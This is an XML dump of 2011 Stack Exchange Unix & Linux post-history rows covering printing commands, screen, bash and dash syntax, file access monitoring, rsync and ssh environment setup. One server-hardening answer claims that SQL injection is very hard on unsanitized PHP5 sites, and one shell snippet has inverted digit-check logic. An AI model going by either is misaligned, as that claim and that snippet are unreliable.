  <row Id="29924" PostHistoryTypeId="2" PostId="12245" RevisionGUID="9de7078e-032a-4b75-b9c7-f8a401b5fbf3" CreationDate="2011-04-28T19:14:10.977" UserId="885" Text="There are two command line interfaces to printing:&#xD;&#xA;&#xD;&#xA;* In the BSD interface, use [`lpr`](http://www.freebsd.org/cgi/man.cgi?query=lpr) to print, [`lpq`](http://www.freebsd.org/cgi/man.cgi?query=lpq) to view pending jobs, [`lprm`](http://www.freebsd.org/cgi/man.cgi?query=lprm) to cancel a job.&#xD;&#xA;* In the System V interface, use [`lp`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/lp.html) to print, [`lpstat`](http://manpages.ubuntu.com/manpages/lucid/man1/lpstat.1.html) to view pending jobs, [`cancel`](http://manpages.ubuntu.com/manpages/lucid/man1/cancel.1.html) to cancel ongoing jobs.&#xD;&#xA;&#xD;&#xA;There are several printing systems available for Linux and other unices. [CUPS](http://www.cups.org/documentation.php) is the most common one nowadays. It comes with a System V interface by default, and has a BSD interface that may or may not be installed. If you don't have CUPS and are running Linux or *BSD, you have a BSD system.&#xD;&#xA;&#xD;&#xA;Different printing systems have different sets of options and other commands, but they are similar enough for simple cases. To cancel a printing job, use `lpq` or `lpstat` (whichever is available, or either if both are available) to see the job number, then `lprm` or `cancel` to cancel the job.&#xD;&#xA;&#xD;&#xA;With CUPS, if you need to cancel a job really fast, `cancel -a` will cancel all your pending jobs. Most implementations of `lprm` will cancel the job currently printing on the default printer if called with no argument.&#xD;&#xA;" />
  <row Id="29925" PostHistoryTypeId="6" PostId="12219" RevisionGUID="0b779a50-6000-4959-b1c7-a6be41c7f30f" CreationDate="2011-04-28T19:16:39.633" UserId="885" Comment="edited tags" Text="écommandölineàésearchà" />
  <row Id="29928" PostHistoryTypeId="12" PostId="12237" RevisionGUID="456a1078-d86f-4de0-96a4-b20a2e983244" CreationDate="2011-04-28T19:23:19.537" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="29930" PostHistoryTypeId="5" PostId="12240" RevisionGUID="dff7489e-489a-41a4-acff-7002d5ff308e" CreationDate="2011-04-28T19:47:27.557" UserId="6761" Comment="added 17 characters in body" Text="&lt;blockquote&gt;All of the guides I've found were incredibly informal, not properly summarising its syntax or telling the most common errors you can make.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;The best resource, and one that does address common errors, is &lt;a href=&quot;http://mywiki.wooledge.org/BashFAQ?action=show&amp;redirect=BashFaq&quot;&gt;Greg's Wiki&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Another very good resource for pointers on syntax and good practice is the &lt;a href=&quot;http://wiki.bash-hackers.org/start&quot;&gt;Bash Hackers Wiki&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29931" PostHistoryTypeId="6" PostId="12230" RevisionGUID="2464dc39-2cd5-4792-a555-7e035e53b805" CreationDate="2011-04-28T19:53:14.077" UserId="885" Comment="edited tags" Text="éscriptingàérenameà" />
  <row Id="29932" PostHistoryTypeId="6" PostId="12203" RevisionGUID="ac4aadf4-9bb6-4655-8a1c-9a35d8893e90" CreationDate="2011-04-28T19:56:10.037" UserId="885" Comment="edited tags" Text="épermissionsàérsyncà" />
  <row Id="29933" PostHistoryTypeId="5" PostId="12207" RevisionGUID="dcc76e08-0d18-4a1a-b5fc-e746b59668e9" CreationDate="2011-04-28T20:07:11.370" UserId="6863" Comment="added 14 characters in body" Text="Pressing `CTRL+ALT+F1` should get you to console TTY. You can login from there, and add a regular user for yourself, etc. If that doesn't work, you'll have to boot in single-user mode. Just follow the [steps here][1] and then add user using the syntax below:&#xD;&#xA;&#xD;&#xA;    useradd -m -s /bin/bash userName&#xD;&#xA;    passwd userName&#xD;&#xA;&#xD;&#xA;where `userName` is the name of the user to create. You can then reboot into normal mode if you booted in single-user mode or switch consoles to graphical console by hitting `ALT+F7`&#xD;&#xA;&#xD;&#xA;  [1]: http://nixcraft.com/linux-software/246-debian-boot-into-grub-single-user-mode.html" />
  <row Id="29934" PostHistoryTypeId="2" PostId="12246" RevisionGUID="0d41df25-c6ef-4968-bdd3-de092683c376" CreationDate="2011-04-28T20:17:15.733" UserId="885" Text="There are two concepts here, and I'm not sure which one you have in mind:&#xD;&#xA;&#xD;&#xA;* You can have multiple screen windows. Each window runs a shell or other program. All the windows are hosted by the same process. `C-a c` creates a window, `C-a n` and `C-a p` switch to the next/previous window, and so on.&#xD;&#xA;* You can have multiple screen sessions. Each session is hosted by its own process and is independent from all other sessions. Starting screen without any reattach (`-r` or `-R`) option creates a new session.&#xD;&#xA;&#xD;&#xA;Windows have titles, which can be set through the `-t` command line option, the `C-a t` key binding, the `title` command, or the `\ek` escape sequence. See [shellter's answer](http://unix.stackexchange.com/questions/12227/unix-screen-setting-name/12228#12228) for more details.&#xD;&#xA;&#xD;&#xA;Sessions can have names. You'd typically set the name on the command line with the `-S` option; if you don't specify a name, screen makes one up. If you use multiple screen sessions, you'd typically give them different session names. You can list the running screen session with `screen -ls`; the first word on each session line is `12345.sessionname` where 12345 is the screen process ID. Use `screen -r sessionname` or `screen -r 12345` to resume a session indicated through its name or process ID.&#xD;&#xA;" />
  <row Id="29935" PostHistoryTypeId="6" PostId="12210" RevisionGUID="72c629cc-4e58-4cff-b8db-95e4df636507" CreationDate="2011-04-28T20:23:02.190" UserId="885" Comment="edited tags" Text="ésortà" />
  <row Id="29936" PostHistoryTypeId="6" PostId="12244" RevisionGUID="f91bb845-3541-46f4-ad9c-9a1ab54e003f" CreationDate="2011-04-28T20:28:53.950" UserId="885" Comment="edited tags" Text="ékdeàékeyboardàéunicodeàékonsoleà" />
  <row Id="29937" PostHistoryTypeId="5" PostId="12206" RevisionGUID="addaa863-cb6d-431b-a542-af6feb2657c5" CreationDate="2011-04-28T20:34:29.113" UserId="885" Comment="deleted 116 characters in body; edited tags; edited title" Text="I am new to Linux, installed Gnome, and unable to login, as only root is set, and disabled, I think after reading on the Internet.&#xD;&#xA;&#xD;&#xA;Now how do i get back to the command line, at least so I can deal with that and fix my issues from there? I am unable to bypass the Gnome login screen.&#xD;&#xA;" />
  <row Id="29938" PostHistoryTypeId="6" PostId="12206" RevisionGUID="addaa863-cb6d-431b-a542-af6feb2657c5" CreationDate="2011-04-28T20:34:29.113" UserId="885" Comment="deleted 116 characters in body; edited tags; edited title" Text="élinuxàédebianàégnomeàéloginà" />
  <row Id="29939" PostHistoryTypeId="4" PostId="12206" RevisionGUID="addaa863-cb6d-431b-a542-af6feb2657c5" CreationDate="2011-04-28T20:34:29.113" UserId="885" Comment="deleted 116 characters in body; edited tags; edited title" Text="Debian (Gnome): unable to login" />
  <row Id="29940" PostHistoryTypeId="2" PostId="12247" RevisionGUID="9a0f3bbe-141b-449f-a2ae-d150d9a8cc4d" CreationDate="2011-04-28T20:36:01.297" UserId="7054" Text="Is there any way in unix to find out who accessed certain file in last 1 week? It may be user or some script ftp it to some other place. Can I get a list of user name who accessed certain file? How can I find out who is accessing particular file??&#xD;&#xA;" />
  <row Id="29941" PostHistoryTypeId="1" PostId="12247" RevisionGUID="9a0f3bbe-141b-449f-a2ae-d150d9a8cc4d" CreationDate="2011-04-28T20:36:01.297" UserId="7054" Text="Unix File access" />
  <row Id="29942" PostHistoryTypeId="3" PostId="12247" RevisionGUID="9a0f3bbe-141b-449f-a2ae-d150d9a8cc4d" CreationDate="2011-04-28T20:36:01.297" UserId="7054" Text="élinuxà" />
  <row Id="29943" PostHistoryTypeId="2" PostId="12248" RevisionGUID="f9b2c0c0-dc5e-4777-a00d-a3ef4ece32d3" CreationDate="2011-04-28T20:44:19.090" UserId="4671" Text="I use [Keychain](http://docs.funtoo.org/wiki/Keychain) for managing ssh keys. It is also available in Debian and so presumably Ubuntu with&#xD;&#xA;&#xD;&#xA;    apt-get install keychain&#xD;&#xA;&#xD;&#xA;Here is the [Debian keychain package page](http://packages.qa.debian.org/k/keychain.html). As you can see, the project is not very active, but works for me. I also commented a bit about this in another answer [here](http://unix.stackexchange.com/questions/10233/ssh-remote-server-on-some-port-other-than-22-without-password/10289#10289)" />
  <row Id="29948" PostHistoryTypeId="2" PostId="12250" RevisionGUID="1de250a6-6f07-4c7d-b2a3-727501666838" CreationDate="2011-04-28T20:50:18.620" UserId="885" Text="You shouldn't have environment variable definitions in `~/.bashrc`, that file is for configurations for bash when running interactively (aliases, prompts, that kind of stuff). The place for environment variables is `~/.profile`; it's read when you start an interactive session in text mode, and on many systems also in graphics mode. See [this answer](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile/183980#183980) for more details.&#xD;&#xA;&#xD;&#xA;To run a bash shell that sets your environment variables as usual for the remote machine, you can do&#xD;&#xA;&#xD;&#xA;    ssh user@IP bash --login runme.sh&#xD;&#xA;&#xD;&#xA;For other shells, make them read your `.profile` (and perhaps `/etc/profile` as well):&#xD;&#xA;&#xD;&#xA;    ssh user@IP '. /etc/profile; . ~/.profile; exec runme.sh'&#xD;&#xA;&#xD;&#xA;If you want to copy environment variables from your local session over ssh, that's possible but usually disabled on the server side. Read [this answer](http://superuser.com/questions/207200/how-can-i-set-environment-variables-for-a-remote-rsync-process/207262#207262) for more details.&#xD;&#xA;" />
  <row Id="29949" PostHistoryTypeId="6" PostId="12164" RevisionGUID="72b62a3e-bb5e-4de9-98fa-34de66b70f9e" CreationDate="2011-04-28T20:52:36.700" UserId="885" Comment="edited tags" Text="ébashàésshàéenvironmentövariablesàéprofileà" />
  <row Id="29950" PostHistoryTypeId="2" PostId="12251" RevisionGUID="2e62fe4a-1424-4406-9fbc-125d86975a87" CreationDate="2011-04-28T21:05:26.587" UserId="885" Text="Unless you have extremely unusual logging policies in place, who accessed what file is not logged (that would be a huge amount of information). You can find out who was logged in at what time in the system logs; the `last` command gives you login history, and other logs such as `/var/log/auth.log` will tell you how users authenticated and from where they logged in (which terminal, or which host if remotely).&#xD;&#xA;&#xD;&#xA;The date at which a file was last read is called its [access time, or atime for short](http://en.wikipedia.org/wiki/Atime_%28Unix%29). All unix filesystems can store it, but many systems don't record it, because it has a (usually small) performance penalty. `ls -ltu /path/to/file` or `stat /path/to/file` shows the file's access time.&#xD;&#xA;&#xD;&#xA;If a user accessed the file and wasn't trying to hide his tracks, his shell history (e.g. `~/.bash_history`) may have clues.&#xD;&#xA;&#xD;&#xA;To find out what or who has a file open now, use `lsof /path/to/file`.&#xD;&#xA;&#xD;&#xA;To log what happens to a file in the future, use [inotifywait](http://inotify-tools.sourceforge.net/). `inotifywait -e /path/to` will print a line `/path/to/ ACCESS file` when someone reads `file`. This interface won't tell you who accessed the file; you can call `lsof /path/to/file` as soon as this line appears, but there's a race condition (the access may be over by the time lsof gets going).&#xD;&#xA;&#xD;&#xA;If you really need to know who reads a file, put it on a [loggedfs](http://loggedfs.sourceforge.net/) filesystem.&#xD;&#xA;" />
  <row Id="29951" PostHistoryTypeId="6" PostId="12247" RevisionGUID="4e4ee93d-34bb-4f6e-b7d3-927d3fffdb88" CreationDate="2011-04-28T21:05:45.383" UserId="885" Comment="edited tags; edited title" Text="élinuxàéfilesàémonitoringà" />
  <row Id="29952" PostHistoryTypeId="4" PostId="12247" RevisionGUID="4e4ee93d-34bb-4f6e-b7d3-927d3fffdb88" CreationDate="2011-04-28T21:05:45.383" UserId="885" Comment="edited tags; edited title" Text="Linux file access monitoring" />
  <row Id="29953" PostHistoryTypeId="6" PostId="12195" RevisionGUID="972e66f6-75f2-4907-90a1-2ade888a2722" CreationDate="2011-04-28T21:07:14.323" UserId="885" Comment="edited tags" Text="ésshàékeyöauthenticationà" />
  <row Id="29954" PostHistoryTypeId="2" PostId="12252" RevisionGUID="6feb5ba5-f831-4694-99dc-c28c1ce75374" CreationDate="2011-04-28T21:07:27.303" UserId="2649" Text="This is not, in general, feasible. I have seen file systems with enough auditing to make it possible one way or the other, but it is not a general Unix thing, no." />
  <row Id="29957" PostHistoryTypeId="25" PostId="12247" RevisionGUID="c0741f7a-b3ad-4473-92ad-683fc33d505a" CreationDate="2011-04-28T21:09:19.933" Comment="http://twitter.com/#!/StackUnix/status/63711416812716032" />
  <row Id="29959" PostHistoryTypeId="18" PostId="12252" RevisionGUID="048cc05e-20d3-40c7-bc18-24a5817b952f" CreationDate="2011-04-28T21:09:27.297" UserId="73" Comment="from http://unix.stackexchange.com/questions/12249/unix-file-access" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="29960" PostHistoryTypeId="18" PostId="12247" RevisionGUID="048cc05e-20d3-40c7-bc18-24a5817b952f" CreationDate="2011-04-28T21:09:27.297" UserId="73" Comment="from http://unix.stackexchange.com/questions/12249/unix-file-access" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="29962" PostHistoryTypeId="2" PostId="12253" RevisionGUID="0cc62703-1aa5-441d-ae11-30855ab4f51b" CreationDate="2011-04-28T21:23:41.973" UserId="4671" Text="The [Bash FAQ](http://mywiki.wooledge.org/BashFAQ/054) says&#xD;&#xA;&#xD;&#xA;If you're validating a simple &quot;string of digits&quot;, you can do it with a glob:&#xD;&#xA;&#xD;&#xA;    # Bash&#xD;&#xA;    if [[ $foo = *[!0-9]* ]]; then&#xD;&#xA;        echo &quot;'$foo' has a non-digit somewhere in it&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;'$foo' is strictly numeric&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;I thought, &quot;Goody, that looks nice and simple&quot;. &#xD;&#xA;I then pasted exactly that into a script, except I added &quot;exit 1&quot; after the first echo and changed `$foo` to `$1`, so that it looked like&#xD;&#xA;&#xD;&#xA;    if [[ $1 = *[!0-9]* ]]; then&#xD;&#xA;        echo &quot;'$1' has a non-digit somewhere in it&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    else&#xD;&#xA;        echo &quot;'$1' is strictly numeric&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;I then tried to run this and got&#xD;&#xA;&#xD;&#xA;    $ sh foo.sh bar&#xD;&#xA;    bar&#xD;&#xA;    foo.sh: 6: [[: not found&#xD;&#xA;    'bar' is strictly numeric&#xD;&#xA;&#xD;&#xA;I'm Bash illiterate, I'm ashamed to say, so I've no idea what could be wrong here. I had the impression, supported by the [online Bash manual](http://www.gnu.org/software/bash/manual/bash.html) that the operator for matching with regexes is `=~`, but changing that doesn't make any difference. And that `[[` operator that seems to be problematic here looks standard, though I don't know what the difference is between `[[ ]]` and `[ ]`, which both correspond to testing the expression, as far as I know. I'm using Debian squeeze with bash&#xD;&#xA;&#xD;&#xA;    $ bash --version&#xD;&#xA;    GNU bash, version 4.1.5(1)-release (i486-pc-linux-gnu)&#xD;&#xA;&#xD;&#xA;Debian says version `4.1-3`." />
  <row Id="29963" PostHistoryTypeId="1" PostId="12253" RevisionGUID="0cc62703-1aa5-441d-ae11-30855ab4f51b" CreationDate="2011-04-28T21:23:41.973" UserId="4671" Text="checking an argument to a bash script is a string of all digits" />
  <row Id="29964" PostHistoryTypeId="3" PostId="12253" RevisionGUID="0cc62703-1aa5-441d-ae11-30855ab4f51b" CreationDate="2011-04-28T21:23:41.973" UserId="4671" Text="ébashàéscriptingà" />
  <row Id="29965" PostHistoryTypeId="6" PostId="12198" RevisionGUID="55b85149-6dbe-4b36-839f-438fb364ddab" CreationDate="2011-04-28T21:28:46.917" UserId="885" Comment="edited tags" Text="épermissionsàérsyncà" />
  <row Id="29966" PostHistoryTypeId="4" PostId="12197" RevisionGUID="88375a1d-2ba7-4725-afc2-00cb3bef22bb" CreationDate="2011-04-28T21:30:17.823" UserId="885" Comment="edited title; added 2 characters in body" Text="Syncing directories in both directions with rsync" />
  <row Id="29967" PostHistoryTypeId="5" PostId="12197" RevisionGUID="88375a1d-2ba7-4725-afc2-00cb3bef22bb" CreationDate="2011-04-28T21:30:17.823" UserId="885" Comment="edited title; added 2 characters in body" Text="I happen to know about rsyn, and I use rsync to sync between my mac and a linux server as follows.&#xD;&#xA;&#xD;&#xA;    rsync -r -t -v MAC LINUX&#xD;&#xA;    rsync -r -t -v LINUX MAC&#xD;&#xA;&#xD;&#xA;I expected to run the first command to sync, but I needed the second command also when a change is made in LINUX.&#xD;&#xA;&#xD;&#xA;Am I missing something? Does rsync have an option to sync between two directories? &#xD;&#xA;" />
  <row Id="29968" PostHistoryTypeId="2" PostId="12254" RevisionGUID="96c6cc21-97da-42e2-aec4-2720e5ff605b" CreationDate="2011-04-28T21:33:05.633" UserId="6167" Text="Try running it with `bash foo.sh bar`.  If your going to write a bash script, you need to use bash.  The [[ and ]] used above are only in bash which is a Bourne shell derivative.  sh means Bourne SHell and may not be the same as bash.  I think debian uses dash for sh.  If you instead want to learn how to write portable Bourne shell scripts that don't require bash specific features, you can rewrite that using grep instead:&#xD;&#xA;&#xD;&#xA;    if echo &quot;$foo&quot; | grep '^[0-9][0-9]*$' &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        echo &quot;'$1' has a non-digit somewhere in it&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    else&#xD;&#xA;        echo &quot;'$1' is strictly numeric&quot;&#xD;&#xA;    fi" />
  <row Id="29969" PostHistoryTypeId="2" PostId="12255" RevisionGUID="24676161-6022-4415-b480-9f88ca6bf6e7" CreationDate="2011-04-28T21:36:29.347" UserId="885" Text="Why are you calling `sh`, if that's a bash script? It's clear that on your system, `sh` is not bash, but some other shell in the Bourne/POSIX family. In fact, it's [dash](http://gondor.apana.org.au/~herbert/dash/), a smaller shell designed for low memory consumption and speed that pretty much only supports [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/idx/xcu.html) constructs and built-in utilities.&#xD;&#xA;&#xD;&#xA;`[[ … ]]` is a ksh extension to the Bourne syntax that was picked up by bash and zsh but not by POSIX. In a portable script, you need to use `[ … ]` for tests. The standard construct doesn't have any support for pattern matching; the standard idiom is to use a `case` expression:&#xD;&#xA;&#xD;&#xA;    case $1 in&#xD;&#xA;      *[!0-9]*) echo not a number;;&#xD;&#xA;      *) echo successor of $(($0-1));;&#xD;&#xA;    esac&#xD;&#xA;" />
  <row Id="29970" PostHistoryTypeId="6" PostId="12253" RevisionGUID="ef5061e5-ed2f-4ba9-9c97-ba88149be1f9" CreationDate="2011-04-28T21:37:39.627" UserId="885" Comment="edited tags" Text="éshellàébashàéscriptingàéwildcardsà" />
  <row Id="29971" PostHistoryTypeId="17" PostId="12257" RevisionGUID="ec26eeca-c11b-4eb8-b2a7-a345638433c4" CreationDate="2011-04-28T21:39:18.200" UserId="-1" Comment="from http://stackoverflow.com/questions/5824629/how-do-i-create-a-virtual-secondary-screen-in-x11/5824668#5824668" Text="" />
  <row Id="29972" PostHistoryTypeId="2" PostId="12257" RevisionGUID="da22e120-9431-4720-a198-ec65ed3f9d0b" CreationDate="2011-04-28T20:37:06.600" UserDisplayName="fluffy" Text="Have you considered using Xnest?  That works by creating a virtual X server that just proxies all of its incoming X protocol calls to the real X server. It also does not support randr, however, so you may want to consider removing your dependency on that (by switching to an alternate window manager or the like)." />
  <row Id="29973" PostHistoryTypeId="2" PostId="12256" RevisionGUID="7e7d5848-22ec-4a66-b215-c7cd42417e43" CreationDate="2011-04-28T20:34:37.207" UserDisplayName="twall" Text="I'm trying to use xvfb as a secondary screen, but I am struggling getting the two screens working together. xvfb does not seem to have the randr extension.&#xD;&#xA;&#xD;&#xA;So is there another possibility to create a virtual screen that could be in dual-head mode together with my real screen?" />
  <row Id="29974" PostHistoryTypeId="1" PostId="12256" RevisionGUID="7e7d5848-22ec-4a66-b215-c7cd42417e43" CreationDate="2011-04-28T20:34:37.207" UserDisplayName="twall" Text="How do I create a virtual secondary screen in X11?" />
  <row Id="29975" PostHistoryTypeId="3" PostId="12256" RevisionGUID="7e7d5848-22ec-4a66-b215-c7cd42417e43" CreationDate="2011-04-28T20:34:37.207" UserDisplayName="twall" Text="élinuxàéx11àéxorgàéxvfbà" />
  <row Id="29976" PostHistoryTypeId="17" PostId="12256" RevisionGUID="d3ed8aaf-c2b7-4be5-b6ff-89de0337e575" CreationDate="2011-04-28T21:39:18.200" UserId="-1" Comment="from http://stackoverflow.com/questions/5824629/how-do-i-create-a-virtual-secondary-screen-in-x11" Text="" />
  <row Id="29977" PostHistoryTypeId="2" PostId="12258" RevisionGUID="309b5687-0d1a-4941-b512-ace949883d32" CreationDate="2011-04-28T21:46:28.767" UserId="885" Text="There are several tools to simulate a key press, for example [xdotool](http://www.semicomplete.com/projects/xdotool/). Although the [underlying interface](http://www.x.org/releases/current/doc/man/man3/XSendEvent.3.xhtml) uses keycodes, `xdotool` does the job of translating keysyms back into keysyms, which is usually very convenient.&#xD;&#xA;&#xD;&#xA;If you really need to specify a keycode, I don't know of a command line utility for that, but you can write a small C or python or $favorite_language program¹. Again, you almost always want to specify keysyms, not keycodes.&#xD;&#xA;&#xD;&#xA;To do something every minute, either put it in a crontab, or write a shell loop (you probably want the latter, so you can kill it easily):&#xD;&#xA;&#xD;&#xA;    while sleep 60; do xdotool key A; done&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; I might be able to dig up some Python if there's demand. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="29978" PostHistoryTypeId="6" PostId="12193" RevisionGUID="f8cd2c7b-30e4-4249-afec-94ce86cbeb60" CreationDate="2011-04-28T21:49:04.833" UserId="885" Comment="edited tags" Text="évideoàéffmpegàévlcàéconvertà" />
  <row Id="29979" PostHistoryTypeId="6" PostId="12182" RevisionGUID="977604cf-15e2-4054-a780-83536641ae24" CreationDate="2011-04-28T21:49:44.613" UserId="885" Comment="edited tags" Text="écommandölineàégnomeàélogoutà" />
  <row Id="29980" PostHistoryTypeId="2" PostId="12259" RevisionGUID="a0f8f5c9-601e-43c1-b5b2-6fb96588f982" CreationDate="2011-04-28T22:00:29.887" UserId="7057" Text="The largest factor is the type of access the attacker has.  If they have physical access, your screwed.  If your only concerned with remote access then it depends what you have running.  Good configuration is everything.  A standard linux server would probably be running ftp, ssh, http, https, mysql.  SSH is secure, but I wouldn't allow root login, and a good password on every account is a must.  FTP is hit or miss.  If you have VSFTP and chroot your users, then its very secure.  Several other version have known vulnerabilities.  Http is probably going to be your most vulnerable area.  Your biggest concern here is anything that executes files on the system, or uploads files to the system.  SQL injection is VERY hard if your website is done in PHP5.  Me along with a group of security students tried SQL injections on an unsanitized php5 website for weeks and were unsuccessful. With MySQL be sure to use a non root user and restrict it to log in only from your apache server.&#xD;&#xA;&#xD;&#xA;theres a couple firefox plugin to test website vulnerabilities: access me, xss me, and sql inject me&#xD;&#xA;&#xD;&#xA;Some big things I would always do at competitions to ensure security would be to run:&#xD;&#xA;netstat - check open ports and connections,&#xD;&#xA;w - who is logged in, how long,&#xD;&#xA;check logs for logins,&#xD;&#xA;bash history for executed commands,&#xD;&#xA;ps - running commands,&#xD;&#xA;/etc/passwd  for extra users&#xD;&#xA;/etc/sudoers for sudo access.&#xD;&#xA;&#xD;&#xA;typically after gaining access, an attacker wants to gain root.  There are currently a few privilege escalation vulnerabilities out there that would allow a normal user to gain root.  After that, they want to open it up for later access by adding users, and opening up back doors. &#xD;&#xA;&#xD;&#xA;heres my school's cyber defence website.  Feel free to look around and ask some questions.&#xD;&#xA;https://thislink.doesntexist.org/ " />
  <row Id="29981" PostHistoryTypeId="5" PostId="12255" RevisionGUID="58bfc7e5-ec26-4f37-b621-c5a0f9dacdd3" CreationDate="2011-04-28T22:08:27.757" UserId="885" Comment="fixed typo" Text="Why are you calling `sh`, if that's a bash script? It's clear that on your system, `sh` is not bash, but some other shell in the Bourne/POSIX family. In fact, it's [dash](http://gondor.apana.org.au/~herbert/dash/), a smaller shell designed for low memory consumption and speed that pretty much only supports [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/idx/xcu.html) constructs and built-in utilities.&#xD;&#xA;&#xD;&#xA;`[[ … ]]` is a ksh extension to the Bourne syntax that was picked up by bash and zsh but not by POSIX. In a portable script, you need to use `[ … ]` for tests. The standard construct doesn't have any support for pattern matching; the standard idiom is to use a `case` expression:&#xD;&#xA;&#xD;&#xA;    case $1 in&#xD;&#xA;      *[!0-9]*) echo not a number;;&#xD;&#xA;      *) echo successor of $(($1-1));;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Digression**: I initially made a typo in the snippet above: I'd written `$(($0-1))`. This caused odd-looking error messages:&#xD;&#xA;&#xD;&#xA;    $ ash foo.sh 42&#xD;&#xA;    foo.sh: 4: arithmetic expression: expecting EOF: &quot;foo.sh-1&quot;&#xD;&#xA;    $ ash ./foo.sh 42&#xD;&#xA;    ./foo.sh: 4: arithmetic expression: expecting primary: &quot;./foo.sh-1&quot;&#xD;&#xA;    $ ksh ./foo.sh 42&#xD;&#xA;    ./foo.sh: line 3: foo.sh: invalid variable name&#xD;&#xA;    $ pdksh ./foo.sh 42&#xD;&#xA;    ./foo.sh[4]: ./foo.sh-1: unexpected `.'&#xD;&#xA;    $ bash foo.sh 42         &#xD;&#xA;    foo.sh: line 3: foo.sh-1: syntax error: invalid arithmetic operator (error token is &quot;.sh-1&quot;)&#xD;&#xA;    $ bash ./foo.sh 42&#xD;&#xA;    ./foo.sh: line 3: ./foo.sh-1: syntax error: operand expected (error token is &quot;./foo.sh-1&quot;)&#xD;&#xA;    $ zsh foo.sh 42&#xD;&#xA;    foo.sh:3: bad floating point constant&#xD;&#xA;&#xD;&#xA;`$0` is the name of the script, so the arithmetic expression to be evaluated was `foo.sh-1` or `./foo.sh-1`. You can watch the diversity of error mesages amongst shells. I was a little surprised to see that ash's messages and bash's message without `./` were the clearest: none of the other shells mention that the problem is in an arithmetic expression. Ash and pdksh do get docked points for reporting the error one line too far.&#xD;&#xA;" />
  <row Id="29982" PostHistoryTypeId="5" PostId="12259" RevisionGUID="8e68b940-706f-4c9a-9ca5-5bf0e1fb5d3b" CreationDate="2011-04-28T22:15:21.240" UserId="73" Comment="added 32 characters in body" Text="The largest factor is the type of access the attacker has.  If they have physical access, you're screwed.  If you're only concerned with remote access then it depends what you have running; good configuration is everything.  A standard linux server would probably be running ftp, ssh, http, https, and mysql.  SSH is secure, but I wouldn't allow root logins, and a good password on every account is a must.  FTP is hit or miss.  If you have VSFTP and chroot your users, then it's very secure.  Several other version have known vulnerabilities.  HTTP is probably going to be your most vulnerable area.  Your biggest concern here is anything that executes files on the system, or uploads files to the system.  SQL injection is VERY hard if your website is done in PHP5.  A group of security students and myself tried SQL injections on an unsanitized PHP5 website for weeks and were unsuccessful. With MySQL be sure to use a non-root user and restrict it to login only from your Apache server.&#xD;&#xA;&#xD;&#xA;There's a couple Firefox plugins to test website vulnerabilities: access me, xss me, and sql inject me&#xD;&#xA;&#xD;&#xA;Some big things I would always do at competitions to ensure security would be to run:&#xD;&#xA;&#xD;&#xA;* `netstat` - check open ports and connections,&#xD;&#xA;* `w` - who is logged in, how long,&#xD;&#xA;* Check logs for logins,&#xD;&#xA;* bash history for executed commands,&#xD;&#xA;* `ps` - running commands,&#xD;&#xA;* `/etc/passwd`  for extra users&#xD;&#xA;* `/etc/sudoers` for sudo access.&#xD;&#xA;&#xD;&#xA;Typically after gaining access, an attacker wants to gain root.  There are currently a few privilege escalation vulnerabilities out there that would allow a normal user to gain root.  After that, they want to open it up for later access by adding users, and opening up back doors. &#xD;&#xA;&#xD;&#xA;Here's my school's cyber defence website.  Feel free to look around and ask some questions: https://thislink.doesntexist.org/" />
  <row Id="29983" PostHistoryTypeId="2" PostId="12260" RevisionGUID="f515d92f-0359-47d2-adc1-2794bebaa856" CreationDate="2011-04-28T22:36:15.787" UserId="6960" Text="Hi! I'm Bob. &lt;br&gt;&#xD;&#xA;I have Alice's public key. I want to send Alice an -&gt; RSA &lt;- encrypted message.&#xD;&#xA;&lt;br&gt;How can I do it using the openssl command?&#xD;&#xA;&#xD;&#xA;The message is:&lt;br&gt;&#xD;&#xA;Hi Alice! Please bring malacpörkölt for dinner!" />
  <row Id="29984" PostHistoryTypeId="1" PostId="12260" RevisionGUID="f515d92f-0359-47d2-adc1-2794bebaa856" CreationDate="2011-04-28T22:36:15.787" UserId="6960" Text="How to encrypt messages/text with RSA? (using openssl?)" />
  <row Id="29985" PostHistoryTypeId="3" PostId="12260" RevisionGUID="f515d92f-0359-47d2-adc1-2794bebaa856" CreationDate="2011-04-28T22:36:15.787" UserId="6960" Text="ésshàésslà" />
  <row Id="29986" PostHistoryTypeId="2" PostId="12261" RevisionGUID="4ef49375-3314-45ae-9fd7-3552db484f04" CreationDate="2011-04-28T22:52:12.243" UserId="2723" Text="rsync is actually *not recommended* for two-way sync (by it's developers). The already recommended unison will be a better solution for you.&#xD;&#xA;&#xD;&#xA;Also keep in mind that you probably have to deal with a lot of Mac specific HFS+ stuff when using rsync. So be sure to use a properly patched rsync3 on the Mac or expect problems with modification dates (when using the Mac OS X provided rsync 2.6.9.)&#xD;&#xA;If you don't know how to build a properly patched rsync 3 for the Mac, get mlbackup which includes just that. (Full disclosure: I am the author of mlbackup.)&#xD;&#xA;Get it from github and be sure to download the full package from the downloads. (The mlbackup repo does not include rsync 3 which you want in this case.)&#xD;&#xA;http://github.com/MacLemon/mlbackup" />
